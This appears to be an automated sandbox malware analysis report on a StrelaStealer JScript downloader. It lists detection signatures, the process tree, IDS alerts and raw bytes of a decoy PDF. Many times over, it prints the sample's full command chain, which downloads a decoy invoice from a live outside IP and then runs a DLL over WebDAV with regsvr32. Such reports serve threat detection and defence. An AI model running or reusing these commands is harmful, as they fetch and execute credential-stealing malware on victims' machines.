Edit tour

Windows Analysis Report
4483138622176223122.js

Overview

General Information

Sample name:	4483138622176223122.js
Analysis ID:	1588974
MD5:	4cec6db6a8e4f7749b2bcdf716b9030a
SHA1:	89ac164672d540afd5d57db8db7b3f09bbaaf595
SHA256:	71c9d9c1b96cf5ab0c07ef8697aa72ddaa63f813196fdd005011f2270e1781b4
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2276 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7148 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,3453486562507592478,12107872245695882816,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1084 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4180 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2276	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ProcessId: 2276, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4180, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ProcessId: 2276, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7148, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4180, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5776, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4180, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 7148, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:52:02.155184+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:52:05.154801+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:52:02.155184+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 4483138622176223122.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4483138622176223122.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4483138622176223122.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:52:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 